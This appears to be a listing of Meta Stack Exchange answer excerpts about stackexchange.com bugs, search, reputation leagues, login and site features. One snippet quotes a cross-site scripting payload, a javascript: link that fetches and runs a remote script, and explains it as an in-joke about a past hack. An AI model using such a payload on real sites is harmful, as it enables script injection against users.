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What are the criteria for questions to be selected for Hot Network Questions?

Based on David Fullerton's answer, I've written a simple user script that adds a "hotness" indicator to the question infobar: To use the script, you'll first need to install a user script ...
Ilmari Karonen's user avatar
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Can't delete the filter called My Filter

Adding details in hopes of getting developer attention. Reproducing the issue from a clean state. I believe this may be how to reproduce this issue. I can't verify, because I'm already in the broken ...
Andrew Cheong's user avatar
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Strange bracket on the leagues page

a lone character) trailing after a mere link once was, is no more
Yaakov Ellis's user avatar
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Icons of Meta.SE and Stack Apps have gone missing

So here's the deal. Our image path code sucks. It's bad. It's no one's fault, it's just the result of years of special cases and new use cases that never got a full rewrite of love they need. I know ...
Nick Craver's user avatar
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When did Stack Exchange debut?

Both are correct. Stack Overflow and Stack Exchange are two different websites. Stack Overflow was launched in 2008 by Jeff Atwood and Joel Spolsky. Later, in 2009, Joel's company Glitch (then known ...
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The new icon on the topbar on stackexchange.com doesn't have a dropdown menu

Oops. This dropdown has been removed from stackexchange.com now. We're doing some reworking of how we handle user profiles on Teams and this WIP top bar change accidentally made its way to the Stack ...
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/about/moderators is broken

Well this was fun to debug. I changed this recently from a ton of API calls to direct DB queries as part of a massive HTTP overhaul we're doing internally (moving internal traffic to HTTPS). In the ...
Nick Craver's user avatar
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FAQ/Handbook: communication channels used by Stack Overflow/Stack Exchange

Stack Exchange interacts with the community via The Loop, a system whereby hand-picked individuals from a diverse range of backgrounds who are excited about the growth of Stack Overflow are given the ...
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Stack Exchange says flair is not available because I have less than 200 rep, but I do have more than 200

You have hidden your account with 200+ reputation. It wouldn't really be hidden if it appeared on your flair, would it? That used to be the case a while ago but they have fixed that bug.
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How about doing something more with the "Today's Featured Site" thing?

I'd stick it right below the "Hot Network Questions" but only in homepage view of a site, not inside questions, so it won't be too much noise: This way while browsing a site's questions ...
Shadow Wizard's user avatar
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JavaScript error 'StackExchange.ready is not a function' when visiting stackexchange.com

That is not a bug Stack Exchange has to fix. They can't be held responsible to prevent bugs in scripts they don't own. Instead report the bug to the creator and/or current maintainer here: ...
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The new icon on the topbar on stackexchange.com doesn't have a dropdown menu

Looks like it is still a work in progress that got deployed (accidentally?). Inspecting the element, looks like it should display a pop-over menu (named popover-example) that contains 3 elements: ...
Meta Andrew T.'s user avatar
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stackexchange.com search is down

Thank you for the report, we've identified the culprit and have rolled back the change to restore search functionality.
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Is "arbitrarily awarded hotness points" meant as a joke?

Or is the idea that the selection algorithm itself (being man-made) is written in such a way that some people may find it unreasonable and arbitrary? Yes, exactly that. The algorithm, or rather, ...
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Who is this user #0?

There were actually two users with a network account Id set to 0, both of them created at about the same time. I can only imagine that there was some short-lived glitch in the database back in 2019 ...
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Question still appears in my top network posts even after having it disassociated from my account

The underlying mechanic here was fixed a while ago, probably a couple of years. But it can only be fixed per-user manually when we know it needs to be fixed. I've run the fix for you, and the question ...
animuson's user avatar
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Why is there no Stack Overflow на Русском in the Top Network Sites list on stackexchange.com?

That list of sites is sorted according to what StackExchange.com considers to be the "default" sort. It's a value calculated per site that's a combination of total question and answer counts, answered ...
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The SE About page should be less Stack Overflow-focused: "The world’s largest programming community is growing"

I think this is an excellent idea. Despite the validity of Glorfindel's counter(?)-argument(s), I think an edit would make sense. I'm not a programmer. I program at times, but I signed up when I ...
Joachim's user avatar
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User reputation league site switcher doesn't show the selected site name

In the 6 to 8 weeks this takes to get fixed, you can use the following userscript that solves the bug: // ==UserScript== // @name set selected site // @namespace https://meta.stackexchange....
rene's user avatar
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Cross-site inbookmarks:mine search

It's possible (sort of) with a SEDE query, if you don't mind the results will be up-to-date up to last Sunday. Given that you're often searching for questions you bookmarked long ago, this shouldn't ...
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Links in Stack Exchange security website

The javascript:$.getScript("http://danlec.com/xss.js") is on purpose. That's how he "hacked" the site, so it's kind of pun/internal joke. Notice the link itself is fine; that's ...
Shadow Wizard's user avatar
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stackexchange.com search no longer working

Thanks for bringing this up. We indeed missed any communication from Google about this change, and so didn't notice it until you all brought it to our attention. We've updated the way we use Google ...
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Let's make the automatic removal of salutations language specific!

The following list of words are now on the exclusion list: Saludos Hola Queridos Gracias Estimados Buen( o | a ) s Que tal
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Why is Stack Exchange logo written as StackExcha'r'ge?

There was a bug in old Firefox versions which caused certain parts of SVG to not show. It's illustrated here pretty well. Most likely that's the source of what you saw. Just use a modern updated ...
Shadow Wizard's user avatar
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Reputation +n doesn't disappear from the achievements after reading it

Thanks for reporting this issue! I deployed a fix for this issue on SE.com. It should be fixed now. It's waiting to be deployed right now. The fix is deployed now :)
Shiyao Li's user avatar
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Year of being elected as moderator missing in stackexchange.com/about/moderators

Marco Ceppi was already a ♦ moderator during the beta-phase of Ask Ubuntu, at least if I read the comments under his nomination correctly. Currently, that page only knows about elections on graduated ...
Glorfindel's user avatar
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How can I sort questions by date(s) on the all-Stack Exchange search results page?

If you do want some kind of sorting, you'll have to write a custom cross-site SQL query in the Stack Exchange Data Explorer (and accept the fact that it's updated only once a week, on Sunday morning). ...
Glorfindel's user avatar
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Most user cards are not loading on the Reputation Leagues

tl;dr The issue is now fixed. Thanks for the report! Some details for anyone curious For reputation leagues on stackexchange.com, we load and cache users on a background thread that doesn't have the ...
Adam Lear's user avatar
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I can't subscribe to tag on ru.stackoverflow.com

It was impossible to subscribe to any tag containing non-ASCII characters, not only for Russian. But it's fixed now: Note however that you may need to create your subscription again to get it working....
Konamiman's user avatar
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Why does stackexchange.com require its own login? Even when you're logged into Meta Stack Exchange?

Well because stackexchange.com runs on fairly old login code that is not hooked into the rest of the network, same as Area 51. Right now it's also in a bit of a state of limbo in how it's going to ...
animuson's user avatar
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